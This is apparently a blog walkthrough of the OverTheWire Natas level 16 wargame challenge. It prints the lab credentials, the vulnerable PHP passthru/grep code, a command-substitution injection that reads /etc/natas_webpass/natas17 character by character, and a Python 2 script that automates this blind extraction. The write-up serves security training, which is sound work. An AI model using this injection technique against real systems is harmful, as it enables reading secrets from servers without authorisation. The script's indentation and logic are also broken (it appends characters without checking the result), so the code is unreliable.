Natas · OverTheWire

Natas Level 16 → Level 17

Level 16

Username : natas16
Password :WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL : http://natas16.natas.labs.overthewire.org

Solution

To solve this level, we first log into the natas16 application using the credentials provided above.
The application is reminiscent of level 10 which we were able to bypass using a simple grep trick. However, this time around, it seems like the application is filtering on some characters and doesn’t allow access to the passthru function if those characters are present.

if($key != "") {
 if(preg_match('/[;|&`\'"]/',$key)) {
 print "Input contains an illegal character!";
 } else {
 passthru("grep -i \"$key\" dictionary.txt");
 }
}

The characters being filtered this time are : ; | & ‘ ` ” . Moreover, unlike last time around, the user’s input is being passed within double quotes ( \”$key\” ) . Therefore, whatever the user searches for will be sent to the grep query and searched within the dictionary. Therefore, executing a query using grep seems unlikely.

To solve this issue, we make use of another one of BASH’s command line tricks. One of the ways of injecting a command within a BASH command is by using $(). Fortunately for us, all these 3 characters are still permissible to the application as the application does not filter these characters.

The $(…) form of command substitution permits nesting. You can read more about this here. Below is one of the examples from the web link.

generate_list ()
{
 echo "one two three"
}

for word in $(generate_list) # Let "word" grab output of function.
do
 echo "$word"
done

# one
# two
# three

As we can see above, the command within $() is executed first and the results of that command is used to run the for loop. We can use the same concept and apply it to our learning from the previous SQL Injection problem and try to guess the password using the output of the main command.

Let’s try using the word ‘filtering’ in the search box. We can see below that the application responds with only one result. Therefore, any addition of letters to the word ‘filtering’ will cause the application to give no result at all. We can now use this knowledge similarly to the previous round. If the result of our command substitution returns nothing, the application will search for the word ‘floating’ and return the result. However, if our command substitution returns a letter back, the application will give no output.

6-29-2017 2-55-56 PM6-29-2017 3-00-33 PM

Let’s assume that the password for the next level is Password. We’ll now create our own test cases and see how the application responds:

Search term : $(grep a /etc/natas_webpass/natas17)filtering
 Application query : passthru("grep -i "$(grep a /etc/natas_webpass/natas17)filtering" dictionary.txt")
 Application result : NULL

Search term : $(grep b /etc/natas_webpass/natas17)filtering
 Application query : passthru("grep -i "$(grep b /etc/natas_webpass/natas17)filtering" dictionary.txt")
 Application result : filtering

We will create a script that does this checking for us. Like the last level, we hope that the password will follow the same pattern as it has for all the previous level.

import urllib2
alphanumericChars='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
passwordChars=''
password=''
debug=0
targetURL='http://natas16.natas.labs.overthewire.org/'
passString = 'filtering'
REQ=urllib2.Request(targetURL, headers={"Authorization" : "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=="})
try:
    contents = urllib2.urlopen(REQ).read()
   if debug:
        print contents
except urllib2.HTTPError as e:
    print e.code
     print e.read()

def findPassChars():
    global debug, passwordChars, targetURL, passString
    for c in alphanumericChars:
        completeURL=targetURL + '?needle=%24(grep+' + c + '+%2Fetc%2Fnatas_webpass%2Fnatas17)filtering&submit=Search'
        REQ=urllib2.Request(completeURL, headers={"Authorization" : "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=="})
        contents = urllib2.urlopen(REQ).read()
        if contents.find(passString)==-1:
            passwordChars += c
            print 'Password contains character     :    ' + c
            if debug:
                print contents

def findPassword():
    global debug, passwordChars, targetURL, password
    for i in range(32):
         for c in passwordChars:
             completeURL=targetURL + '?needle=%24(grep+^' + password + c + '+%2Fetc%2Fnatas_webpass%2Fnatas17)filtering&submit=Search'
             REQ=urllib2.Request(completeURL, headers={"Authorization" : "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=="})
             contents = urllib2.urlopen(REQ).read()
             if contents.find(passString)==-1:
                 if debug:
                     print contents
             password += c
             print 'Current password evaluation:' + password
             break
print password

findPassChars()
findPassword()

By using the above python code, we can first find out the characters in the password and then by using a simple grep technique, we can find out the position of the characters within the password.

Level 17

Username : natas17
Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL : http://natas17.natas.labs.overthewire.org

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s